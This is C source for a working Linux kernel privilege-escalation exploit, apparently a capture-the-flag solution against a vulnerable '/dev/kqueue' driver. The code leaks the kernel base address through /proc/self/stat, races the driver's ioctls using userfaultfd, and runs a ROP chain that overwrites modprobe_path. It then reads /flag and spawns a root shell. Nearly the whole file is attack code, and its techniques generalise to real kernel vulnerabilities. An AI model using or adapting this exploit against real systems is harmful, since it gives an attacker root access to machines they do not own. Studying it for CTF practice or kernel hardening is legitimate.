1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
|
#define DEBUG 1
#include "helpful.h"
const char *DEV_NAME = "/dev/kqueue";
int g_fd, g_seq_fd;
extern size_t g_user_cs, g_user_ss, g_user_sp, g_user_eflags;
extern size_t g_prepare_kernel_cred_addr, g_commit_creds_addr;
extern size_t g_vmlinux_base_addr;
extern size_t *g_buffer;
extern size_t g_r15, g_r14, g_r13, g_r12, g_rbp, g_rbx, g_r11, g_r10, g_r9, g_r8, g_rdx, g_rcx, g_rax, g_rsi, g_rdi;
extern ssize_t g_process_userfault_running;
void add(void *data)
{
assert(g_fd > 0);
ioctl(g_fd, 0x1314001, data);
}
void dele(void *data)
{
assert(g_fd > 0);
ioctl(g_fd, 0x1314002, data);
}
void prepare()
{
bindcpu(0);
save_status();
prepare_for_modprobe_path("/tmp/aa");
g_fd = open(DEV_NAME, O_RDWR);
assert(g_fd > 0);
success("prepare work done!");
}
void helper(void *page)
{
// add rsp, 0x160; pop rbx; pop r12; pop r13; pop rbp; ret;
size_t gadget = GET_GADGET_REAL_ADDR(0xffffffff810494c5);
memcpy(page, &gadget, 8);
close(g_seq_fd);
g_seq_fd = open("/proc/self/stat", O_RDONLY);
info("now g_seq_fd is: %d", g_seq_fd);
sleep(1);
}
void get_flag()
{
system("/tmp/dummy");
system("cat /flag");
get_root_shell_ex();
}
void funcA(void *page)
{
size_t data = 0;
dele(&data);
add(page);
}
void hacker()
{
ssize_t seq;
size_t data = 0;
void *page = get_mmap_rw(0, PAGE_SIZE);
register_userfault(page, &userfaultfd_stuck_handler, &helper, 0);
info("try to leak kernel address.");
add(0xdeadbeef);
g_seq_fd = open("/proc/self/stat", O_RDONLY);
dele(&data);
g_vmlinux_base_addr = data - 0x10d4b0;
assert(g_vmlinux_base_addr >> 56 == 0xff);
info("leak kernel base address: 0x%lx", g_vmlinux_base_addr);
info("try to change modprobe_path.");
pthread_t tid;
pthread_create(&tid, NULL, &funcA, page);
g_process_userfault_running = 1;
pthread_join(tid, NULL);
int k = 0;
g_buffer[k++] = GET_GADGET_REAL_ADDR(0xffffffff8107bd1d); // pop rdi; ret;
g_buffer[k++] = 0x61612f706d742f; // pop rdi; ret;
g_buffer[k++] = GET_GADGET_REAL_ADDR(0xffffffff8101d6b1); // pop rax; ret;
g_buffer[k++] = GET_GADGET_REAL_ADDR(0xffffffff81a2ad40); // modprobe_path
g_buffer[k++] = GET_GADGET_REAL_ADDR(0xffffffff810cccd5); // mov qword ptr [rax], rdi; ret;
g_buffer[k++] = GET_GADGET_REAL_ADDR(0xffffffff81400a65); // swapgs_restore_regs_and_return_to_usermode
g_buffer[k++] = 0;
g_buffer[k++] = 0;
g_buffer[k++] = (size_t)&get_flag;
g_buffer[k++] = g_user_cs;
g_buffer[k++] = g_user_eflags;
g_buffer[k++] = g_user_sp;
g_buffer[k++] = g_user_ss;
assign_all_regs();
g_r8 = (size_t)g_buffer;
g_r9 = GET_GADGET_REAL_ADDR(0xffffffff810953cc); // pop rsp; ret;
g_rsi = g_r8;
asm volatile(
"mov %1, %%r9\n\t"
"mov %2, %%r10\n\t"
"mov %3, %%r11\n\t"
"mov %4, %%r12\n\t"
"mov %0, %%r8\n\t"
"mov %5, %%r13\n\t"
"mov %6, %%r14\n\t"
"mov %7, %%r15\n\t"
"mov %8, %%rbp\n\t"
"mov %9, %%rsi\n\t"
"mov %10, %%rbx\n\t"
"mov $5, %%rdi\n\t"
"mov $0, %%rdx\n\t"
"mov $0, %%rax\n\t"
"syscall\n\t"
:
: "r"(g_r8),"r"(g_r9),"r"(g_r10),"r"(g_r11),"r"(g_r12),"r"(g_r13),"r"(g_r14),"r"(g_r15),"r"(g_rbp),"r"(g_rsi),"r"(g_rbx)
: "memory"
);
}
void main()
{
prepare();
hacker();
}
|